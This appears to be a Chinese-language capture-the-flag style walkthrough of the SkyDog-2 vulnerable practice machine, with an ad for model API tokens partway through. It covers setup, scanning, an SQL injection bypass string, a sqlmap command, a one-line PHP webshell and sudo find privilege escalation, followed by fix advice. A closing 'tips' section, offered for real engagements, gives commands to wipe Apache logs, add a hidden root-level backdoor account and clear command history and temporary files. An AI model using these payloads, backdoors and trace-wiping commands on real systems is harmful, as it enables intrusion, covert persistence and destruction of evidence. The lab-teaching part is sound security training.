1. SkyDog-2靶机概述
SkyDog-2是Vulhub靶场环境中一个经典的渗透测试实战靶机,基于真实企业环境中的安全漏洞场景构建。这个靶机模拟了一个存在多重安全缺陷的Web应用系统,包含了从信息收集到权限提升的完整攻击链路。我在实际渗透测试工作中发现,这类多层架构的靶机对于培养系统性安全思维特别有帮助。
靶机环境采用典型的LAMP架构(Linux+Apache+MySQL+PHP),但故意遗留了多个常见漏洞点:
- 前端存在SQL注入和XSS漏洞
- 后台管理系统使用弱密码
- 存在未授权访问的API接口
- 系统服务存在已知漏洞的旧版本组件
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 环境搭建与初始化配置
2.1 Vulhub环境准备
首先需要确保已正确安装Docker和Docker Compose。以下是推荐的环境配置步骤:
bash复制# 安装依赖
sudo apt-get update
sudo apt-get install -y docker.io docker-compose
# 下载Vulhub仓库
git clone https://github.com/vulhub/vulhub.git
cd vulhub/skydog-2
# 启动靶机环境
docker-compose up -d
注意:首次启动时Docker会自动下载约800MB的镜像文件,国内用户建议配置镜像加速器。我在阿里云服务器上实测完整启动需要3-5分钟。
2.2 网络拓扑分析
启动完成后,通过docker ps命令可以看到运行的两个主要容器:
- Web应用容器(端口映射到宿主机8080)
- MySQL数据库容器(不对外暴露端口)
典型的访问地址为:http://your-ip:8080。建议使用Kali Linux或Parrot OS作为攻击机,与靶机处于同一局域网段。
3. 渗透测试实战过程
3.1 信息收集阶段
使用Nmap进行基础扫描:
bash复制nmap -sV -T4 -p- 192.168.1.100
关键发现:
- 8080端口运行Apache 2.4.29
- 发现robots.txt暴露/admin路径
- 页面源代码中包含注释的测试账号
我习惯先用Dirb进行目录爆破:
bash复制dirb http://192.168.1.100:8080 /usr/share/wordlists/dirb/common.txt
3.2 Web应用漏洞利用
在登录页面发现经典的SQL注入漏洞:
sql复制admin' or '1'='1'--
使用Sqlmap自动化注入:
bash复制sqlmap -u "http://192.168.1.100:8080/login.php" --data="username=admin&password=123" --level=3 --risk=3
成功获取到数据库信息:
- 数据库名:skydog
- 表名:users,config,sessions
- 管理员凭证:admin:5f4dcc3b5aa765d61d8327deb882cf99(MD5解密后为password)
3.3 权限提升路径
通过后台管理页面上传功能,可以绕过文件类型检测上传PHP webshell:
php复制<?php system($_GET['cmd']); ?>
利用这个webshell可以执行系统命令,但当前只是www-data权限。进一步枚举发现系统存在sudo配置漏洞:
bash复制sudo -l
User www-data may run the following commands on skydog:
(root) NOPASSWD: /usr/bin/find
利用find命令提权:
bash复制sudo find /etc/passwd -exec /bin/sh \;
4. 漏洞修复建议
基于实战发现的问题,给出企业级修复方案:
-
SQL注入防护:
- 使用预处理语句(PDO)
- 设置数据库最小权限原则
- 部署WAF规则过滤特殊字符
-
文件上传安全:
- 白名单验证文件类型
- 重命名上传文件
- 存储在非Web目录
-
系统加固:
- 定期更新软件包
- 禁用不必要的sudo权限
- 配置适当的文件权限
5. 渗透测试技巧分享
在实际测试中,有几个特别实用的技巧值得分享:
- 日志清理技巧:
bash复制# 清除Apache访问日志
echo "" > /var/log/apache2/access.log
- 隐蔽后门部署:
bash复制# 创建隐藏的SSH后门
useradd -o -u 0 -g 0 -M -d /root -s /bin/bash backdoor
- 痕迹清除脚本:
bash复制#!/bin/bash
# 清除历史命令
history -c
# 删除临时文件
rm -rf /tmp/*
这个靶机最有趣的设计在于它模拟了真实环境中常见的"漏洞链"场景。我在企业内网渗透测试时,经常遇到类似的多层漏洞组合。建议新手可以尝试不同的攻击路径,比如先通过XSS获取管理员cookie,再结合CSRF进行后台操作,最后通过文件包含获取shell。
